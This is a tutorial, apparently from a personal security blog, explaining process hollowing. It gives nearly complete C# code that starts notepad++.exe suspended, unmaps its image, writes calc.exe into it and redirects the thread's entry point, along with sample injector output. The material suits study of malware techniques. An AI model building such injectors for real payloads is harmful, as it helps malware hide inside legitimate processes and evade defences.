20
Process Injection (Process Hollowing)
Understanding one of the the Process Hollowing technique used by Malware Authors
[The gif above takes awhile (30 sec) to load]
Injecting TvnViewer.exe into notepad++.exe
[+] Creating Victim Process notepad++.exe
[*] Successfully created victim process notepad++.exe
[+] Retrieving Thread Handle of notepad++.exe
[*] Thread Handle at 0x2E0
[+] Allocating unmanaged memory for ThreadContext of notepad++.exe
[+] Retrieving ThreadContext of notepad++.exe
[+] Retrieving ImageBase Address of notepad++.exe
[*] notepad++.exe's ImageBase Address is 0xA5A7162010
[+] Allocating unmanaged memory for notepad++.exe's ImageBase
[+] Reading ImageBase from notepad++.exe's ImageBase Address
[*] ImageBase is 0xA5A7162010
[+] Unmapping notepad++.exe's Image
[*] Successfully unmapped...
[+] Retrieving E_LFANEW of TvnViewer.exe
[*] E_LFANEW is 0xF0
[+] Retrieving TvnViewer.exe's ImageBase
[*] ImageBase is 0x140000000
[+] Retrieving Size of TvnViewer.exe
[*] Size is 0x125000
[+] Allocating space for TvnViewer.exe's Image
[*] Space allocated at 0x5368709120
[+] Retrieving TvnViewer.exe's Header Size
[*] Header Size is 0x400
[+] Writing Headers of TvnViewer.exe into notepad++.exe at 0x5368709120
[*] Headers successfully written...
[+] Retrieving TvnViewer.exe's number of Sections
[*] Number of sections is 6
[+] Copying Section 1
[*] Name: .text
[*] Relative Virtual Address: 0x1000
[*] Size of Raw Data: 0xC5200
[*] Pointer to Raw Data: 0x400
[+] Copying Section 2
[*] Name: .rdata
[*] Relative Virtual Address: 0xC7000
[*] Size of Raw Data: 0x3CC00
[*] Pointer to Raw Data: 0xC5600
[+] Copying Section 3
[*] Name: .data
[*] Relative Virtual Address: 0x104000
[*] Size of Raw Data: 0x5800
[*] Pointer to Raw Data: 0x102200
[+] Copying Section 4
[*] Name: .pdata
[*] Relative Virtual Address: 0x10D000
[*] Size of Raw Data: 0xC800
[*] Pointer to Raw Data: 0x107A00
[+] Copying Section 5
[*] Name: .rsrc
[*] Relative Virtual Address: 0x11A000
[*] Size of Raw Data: 0x9000
[*] Pointer to Raw Data: 0x114200
[+] Copying Section 6
[*] Name: .reloc
[*] Relative Virtual Address: 0x123000
[*] Size of Raw Data: 0x1E00
[*] Pointer to Raw Data: 0x11D200
[+] ReWriting TvnViewer.exe's ImageBase 0x140000000 in memory
[ *] ImageBase rewriting successful...
[+] ReWriting TvnViewer.exe's EntryPoint 0x140000000 in ThreadContext
[ *] EntryPoint rewriting successful...
[+] Setting ThreadContext
[+] All set and ready to go!
[+] Resuming Thread...
I want to try to inject a calculator.exe
into notepad++.exe
using the Process Hollowing
technique.
Instead of injecting code into a host program (e.g., DLL injection), malware can perform a technique known as process hollowing. Process hollowing occurs when a malware unmaps (hollows out) the legitimate code from memory of the target process, and overwrites the memory space of the target process (e.g., svchost.exe) with a malicious executable.
The malware first creates a new process to host the malicious code in SUSPENDED
mode. This is done by calling CreateProcess
and setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004)
. The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread
function is called. Next, the malware needs to swap out the contents of the legitimate file with its malicious payload. This is done by unmapping the memory of the target process by calling either ZwUnmapViewOfSection
or NtUnmapViewOfSection
. These two APIs basically release all memory pointed to by a section. Now that the memory is unmapped, the loader performs VirtualAllocEx
to allocate new memory for the malware, and uses WriteProcessMemory
to write each of the malware’s sections to the target process space. The malware calls SetThreadContext
to point the entrypoint
to a new code section that it has written. At the end, the malware resumes the suspended thread by calling ResumeThread
to take the process out of suspended state.
In order to achieve it we are first going to create our victim process, in my case, notepad++
, in a SUSPENDED
state.
In a SUSPENDED
state, the victim process is loaded from the filesystem into memory but the primary thread does not run until the ResumeThread
function is called.
We are going to use the CreateProcessA
function. More details of it can be found here.
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
This represents the process name that we want to create. Weirdly enough, this can be NULL. In the case where this is NULL, the process name must be the first white space–delimited token in the lpCommandLine
parameter.
I will go ahead and leave this parameter to be NULL and specify our process name at lpCommandLine
parameter instead.
Since our lpApplicationName
is NULL, the first white space–delimited token of the command line specifies the process name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin. Furthermore, if we were to ommit our extension for our process, it will auto append .exe
. Lets proceed to put the full path of notepad++.exe
.
string notepadPath = @"D:\Program Files\Notepad++\notepad++.exe";
A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new process object can be inherited by child processes. If lpProcessAttributes is NULL, the handle cannot be inherited.
I will be putting it as NULL.
A pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle to the new thread object can be inherited by child processes. If lpThreadAttributes is NULL, the handle cannot be inherited.
I will be putting it as NULL.
If this parameter is TRUE, each inheritable handle in the calling process is inherited by the new process. If the parameter is FALSE, the handles are not inherited.
I will be putting it as FALSE.
The flags that control the priority class and the creation of the process. For a list of values, see Process Creation Flags.
We want to create a SUSPENDED
process. Thus we will be using the CREATE_SUSPENDED
flag which has a value 0x4
.
An environment block consists of a null-terminated block of null-terminated strings. Each string is in the following form:
name=value\0
We won't be needing it thus we will set it to NULL.
A pointer to a STARTUPINFO structure.
I ported the structure with the help from PInvoke.Net StartupInfo.
A pointer to a PROCESS_INFORMATION structure that receives identification information about the new process.
I ported the structure with the help from PInvoke.Net ProcessInformation.
This is a very important structure as we would be using the process and thread handles
from it.
Let's go ahead and create our victim process in a suspended state.
static void Main(string[] args)
{
//Paths to our files
string notepadPath = @"D:\Program Files\Notepad++\notepad++.exe";
string virusPath = @"C:\Windows\System32\calc.exe";
byte[] victimFileBytes = File.ReadAllBytes(notepadPath);
IntPtr victimFilePointer = Marshal.UnsafeAddrOfPinnedArrayElement(victimFileBytes, 0);
byte[] virusFileBytes = File.ReadAllBytes(virusPath);
IntPtr virusFilePointer = Marshal.UnsafeAddrOfPinnedArrayElement(virusFileBytes, 0);
#region Create Victim Process in Suspended State
PInvoke.STARTUPINFO startupInfo = new PInvoke.STARTUPINFO();
PInvoke.PROCESS_INFORMATION processInformation = new PInvoke.PROCESS_INFORMATION();
bool couldNotCreateProcess = !PInvoke.CreateProcess(
lpApplicationName: null,
lpCommandLine: notepadPath,
lpProcessAttributes: IntPtr.Zero,
lpThreadAttributes: IntPtr.Zero,
bInheritHandles: false,
dwCreationFlags: PInvoke.CreationFlags.SUSPENDED,
lpEnvironment: IntPtr.Zero,
lpCurrentDirectory: null,
lpStartupInfo: startupInfo,
lpProcessInformation: processInformation
);
if (couldNotCreateProcess)
{
Console.WriteLine("Failed to create process...");
}
Console.WriteLine("Successfully created victim process...");
#endregion
}
We have successfully loaded our victim executable to memory, and it is now in a suspended state.
The ThreadContext
contains useful information like the values of the EntryPoint
or ImageBase
. These information can easily be obtained from the PE File itself, but it might not always be accurate due to Address Space Layout Randomization.
Hence we need to get these values dynamically, once the process has been loaded, in our case, once the process notepad++.exe
is stalled in the SUSPENDED
state.
So now how do we get the ThreadContext
?
We will be utilizing the function GetThreadContext
. More details of it can be found here.
BOOL GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext
);
A handle to the thread whose context is to be retrieved.
Previously, when we called CreateProcessA
, we passed in a lpProcessInformation
which is of type PROCESS_INFORMATION. The structure looks as follows in C#
.
/// <summary>
/// Contains information about a newly created process and its primary thread.
///
/// <see cref="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information"/>\
/// <seealso cref="https://www.pinvoke.net/default.aspx/kernel32/CreateProcess.html"/>
/// </summary>
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
/// <summary>
/// A handle to the newly created process.
/// The handle is used to specify the process in all functions that perform operations on the process object.
/// </summary>
public IntPtr hProcess;
/// <summary>
/// A handle to the primary thread of the newly created process.
/// The handle is used to specify the thread in all functions that perform operations on the thread object.
/// </summary>
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
From the above, we can get the handle to the thread using hThread
.
IntPtr victimThreadHandle = processInformation.hThread;
A pointer to a CONTEXT structure that receives the appropriate context of the specified thread. The value of the ContextFlags member of this structure specifies which portions of a thread's context are retrieved. The CONTEXT structure is highly processor specific. Refer to the WinNT.h header file for processor-specific definitions of this structures and any alignment requirements.
I ported the structure with the help from PInvoke.Net CONTEXT64.
Next we need to create the context structure specifying ContextFlags
. The flag to use would be CONTEXT_FULL
to get the full context data.
PInvoke.CONTEXT64 victimThreadContext = new PInvoke.CONTEXT64() { ContextFlags = PInvoke.CONTEXT_FLAGS.CONTEXT_ALL };
As the context structure needs to be aligned as stated in microsofts documentation,
Refer to the WinNT.h header file for processor-specific definitions of this structures and any alignment requirements.
typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT { ... }
The CONTEXT
structure needs to be 16 bit aligned.
I have created an Allocate
function which accepts the size of dynamic memory needed and the alignment value.
We now have to allocate unmanaged memory space for the context structure.
IntPtr pVictimThreadContext = Allocate(Marshal.SizeOf<PInvoke.CONTEXT64>(), 16);
Now that we have allocated space, I am going to translate the context from my managed memory structure variable victimThreadContext
to the unmanaged memory by
Marshal.StructureToPtr<PInvoke.CONTEXT64>(victimThreadContext, pVictimThreadContext, false);
Once the translation has been performed, we can now call GetThreadContext
as follows.
PInvoke.GetThreadContext(victimThreadHandle, pVictimThreadContext);
This will fill up all the context details into the unmanaged memory pointer pVictimeThreadContext
.
For easier reading, I translated the unmanaged memory back to our structure by
victimThreadContext = Marshal.PtrToStructure<PInvoke.CONTEXT64>(pVictimThreadContext);
IntPtr victimThreadHandle = processInformation.hThread;
PInvoke.CONTEXT64 victimThreadContext = new PInvoke.CONTEXT64() { ContextFlags = PInvoke.CONTEXT_FLAGS.CONTEXT_ALL };
IntPtr pVictimThreadContext = Allocate(Marshal.SizeOf<PInvoke.CONTEXT64>(), 16);
Marshal.StructureToPtr<PInvoke.CONTEXT64>(victimThreadContext, pVictimThreadContext, false);
PInvoke.GetThreadContext(victimThreadHandle, pVictimThreadContext);
victimThreadContext = Marshal.PtrToStructure<PInvoke.CONTEXT64>(pVictimThreadContext);
Now why did we get the ThreadContext
of our victim process in the first place?
It is needed as the context contains details regarding ImageBase
and EntryPoint
. Lets tackle the retrieval of ImageBase
.
Security Researchers found that the register Rdx was pointing to a memory location. 16 bytes
after this location contains the address of the location of ImageBase.
Thus we could get the ImageBase
location's address by
ulong rdx = victimThreadContext.Rdx;
ulong victimImageBaseAddress = rdx + 16;
Now that we got the victim's image base address, we can read the victim's ImageBase
value from it by using the function ReadProcessMemory
. More details of it can be found here.
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead
);
A handle to the process with memory that is being read.
Just like how we got the Thread Handle
previously from the PROCESS_INFORMATION
structure, we can also obtain the Process Handle
in a similar fashion.
IntPtr victimProcessHandle = processInformation.hProcess;
A pointer to the base address in the specified process from which to read.
We want to start reading from victimImageBaseAddress
.
A pointer to a buffer that receives the contents from the address space of the specified process.
Let's create 8 bytes
of unamanaged memory to store the ImageBase
.
IntPtr victimImageBase = Marshal.AllocHGlobal(8);
Then we can perform the read,
PInvoke.ReadProcessMemory(victimProcessHandle, victimImageBaseAddress, victimImageBase, 8, out _);
The number of bytes to be read from the specified process.
For 32-bit applications, the ImageBase
is 4 bytes whereas for 64-bit, its 8 bytes.
We will be reading 8 bytes as this injector is build to support for 64-bit applications.
A pointer to a variable that receives the number of bytes transferred into the specified buffer.
For simplicity, I will be ignoring this field by using C#'s
discard variable, _
.
ulong rdx = victimThreadContext.Rdx;
ulong victimImageBaseAddress = rdx + 16;
IntPtr victimProcessHandle = processInformation.hProcess;
IntPtr victimImageBase = Marshal.AllocHGlobal(8);
PInvoke.ReadProcessMemory(victimProcessHandle, victimImageBaseAddress, victimImageBase, 8, out _);
Great! Now we have the victim's ImageBase
. We are going to hollow out the victim's memory starting from its ImageBase
.
We will be using the function ZwUnmapViewOfSection
.
More details of it can be found here.
NTSYSAPI NTSTATUS ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);
Previously, we called the CreateProcessA
function. This function helps fill up our PROCESS_INFORMATION
block.
PROCESS_INFORMATION
contains the handle to our victim process.
Thus we can get the process handle from it using
IntPtr processHandle = processInformation.hProcess;
We have already retrieved the ImageBase
previously. We will be hollowing out the entire victim image, thus we start from its ImageBase
.
if (PInvoke.ZwUnmapViewOfSection(victimProcessHandle, victimImageBase) == PInvoke.NTSTATUS.STATUS_ACCESS_DENIED)
{
Console.WriteLine("Failed to unmap section...");
return;
}
In order to make it easier for us to map the malware image, in our case, 'Calculator.exe', we are going allocate space to rebase the memory in terms of its own ImageBase
and Size
.
We are going to use the VirtualAllocEx
function. More details of it can be found here.
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
The handle to the process.
We have already obtained the handle to the process previously.
The pointer that specifies a desired starting address for the region of pages that you want to allocate.
We want to start allocating from the ImageBase
of the malware address so that everything fits perfectly.
So now we need to find its ImageBase
and Size
by looking into the internals of the PE File.
As we can see from the image above, we need to get to the COFF Header
.
How do we get to the COFF Header
?
At the DOS_HEADER
, we have a 4 byte integer variable called E_LFANEW
. This is located at an offset 0x3C
from the start of the file.
E_LFANEW
contains the offset to get to the COFF Header
.
Thus to get E_LFANEW
,
int virusElfanew = Marshal.ReadInt32(virusFilePointer, PInvoke.Offsets.E_LFANEW); // PInvoke.Offsets.E_LFANEW refers to 0x3C
Once we get to the COFF Header
using the E_LFANEW
, we can see from the image above that the ImageBase
is at 0x34
offset away and 4 bytes long. However, this is for 32-bit applications. For 64-bit applicaations, there are at a offset 0x30
away and are 8 bytes long.
Hence to get the ImageBase
,
long virusImageBase = Marshal.ReadInt64(virusFilePointer, virusElfanew + 0x30);
The size of the region of memory to allocate, in bytes.
From the image above, we can see that the SizeOfImage
is 0x50
bytes away from the COFF
header.
Hence we can obtain the SizeOfImage
by
uint sizeOfVirusImage = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x50);
The type of memory allocation.
We will be using MEM_COMMIT
, MEM_RESERVE
.
The memory protection for the region of pages to be allocated.
We will be using PAGE_EXECUTE_READWRITE
int virusElfanew = Marshal.ReadInt32(virusFilePointer, PInvoke.Offsets.E_LFANEW);
long virusImageBase = Marshal.ReadInt64(virusFilePointer, virusElfanew + 0x30);
uint sizeOfVirusImage = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x50);
IntPtr allocatedNewRegionForVirus = PInvoke.VirtualAllocEx(victimProcessHandle, (IntPtr)virusImageBase, sizeOfVirusImage, PInvoke.AllocationType.Reserve | PInvoke.AllocationType.Commit, PInvoke.MemoryProtection.ExecuteReadWrite);
Now that we have allocated space for the malware, we are going to first copy the headers.
We are going to use the WriteProcessMemory
function. More details of it can be found here.
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
A handle to the process memory to be modified.
This will be our victimProcessHandle
that we obtained earlier.
A pointer to the base address in the specified process to which data is written.
This will be the allocatedNewRegionForVirus
which we obtained from VirtualAllocEx
.
A pointer to the buffer that contains data to be written in the address space of the specified process.
This will be our pointer to the malware image, in our case, Calculator.exe
.
The number of bytes to be written to the specified process.
We need to get the size of the headers from the PE file. It is at an offset 0x54
from the start of the PE Header.
uint sizeOfVirusHeaders = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x54);
For simplicity, I will be ignoring this field by using C#'s
discard variable, _
.
uint sizeOfVirusHeaders = (uint)Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x54);
if (!PInvoke.WriteProcessMemory(victimProcessHandle, allocatedNewRegionForVirus, virusFilePointer, sizeOfVirusHeaders, out _))
{
Console.WriteLine("Writing headers failed...");
return;
};
In order to locate and write the sections, we need 3 important information. The NumberOfSections
, SizeOfOptionalHeaders
and the SizeOfImageSectionHeader
.
From the image above, we can obtain the NumberOfSections
and SizeOfOptionalHeaders
by
int numberOfSections = Marshal.ReadInt16(virusFilePointer, virusElfanew + 0x6);
int sizeOfOptionalHeader = Marshal.ReadInt16(virusFilePointer + virusElfanew + 0x10 + 0x04);
Then I got the IMAGE_SECTION_HEADER
definition from PINVOKE.NET.
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
With that, we can get the size of a Section
.
int sizeOfImageSectionHeader = Marshal.SizeOf<PInvoke.IMAGE_SECTION_HEADER>();
We can now loop through all the sections and map them.
int numberOfSections = Marshal.ReadInt16(virusFilePointer, virusElfanew + 0x6);
int sizeOfOptionalHeader = Marshal.ReadInt16(virusFilePointer + virusElfanew + 0x10 + 0x04);
int sizeOfImageSectionHeader = Marshal.SizeOf<PInvoke.IMAGE_SECTION_HEADER>();
for (int i = 0; i < numberOfSections; i++)
{
IntPtr sectionHeaderPointer = virusFilePointer + virusElfanew + 0x18 + sizeOfOptionalHeader + (i * sizeOfImageSectionHeader);
PInvoke.IMAGE_SECTION_HEADER sectionHeader = Marshal.PtrToStructure<PInvoke.IMAGE_SECTION_HEADER>(sectionHeaderPointer);
uint virtualAddress = sectionHeader.VirtualAddress;
uint sizeOfRawData = sectionHeader.SizeOfRawData;
uint pointerToRawData = sectionHeader.PointerToRawData;
byte[] bRawData = new byte[sizeOfRawData];
Buffer.BlockCopy(virusFileBytes, (int)pointerToRawData, bRawData, 0, bRawData.Length);
PInvoke.WriteProcessMemory(victimProcessHandle, (IntPtr)(virusImageBase + virtualAddress), Marshal.UnsafeAddrOfPinnedArrayElement(bRawData, 0), (uint)bRawData.Length, out _);
}
We need to update our ThreadContext's ImageBase
and EntryPoint
.
byte[] bImageBase = BitConverter.GetBytes((long)virusImageBase);
if (!PInvoke.WriteProcessMemory(victimProcessHandle, (IntPtr)victimImageBaseAddress, bImageBase, 0x8, out _))
{
Console.WriteLine("Rewriting image base failed...");
return;
}
int virusEntryPointRVA = Marshal.ReadInt32(virusFilePointer, virusElfanew + 0x28);
victimThreadContext.Rcx = (ulong)allocatedNewRegionForVirus + (ulong)virusEntryPointRVA;
Marshal.StructureToPtr(victimThreadContext, pVictimThreadContext, true);
PInvoke.SetThreadContext(victimThreadHandle, pVictimThreadContext);
Finally, we resume the thread.
PInvoke.ResumeThread(victimThreadHandle);
Process Hollowing Complete.
20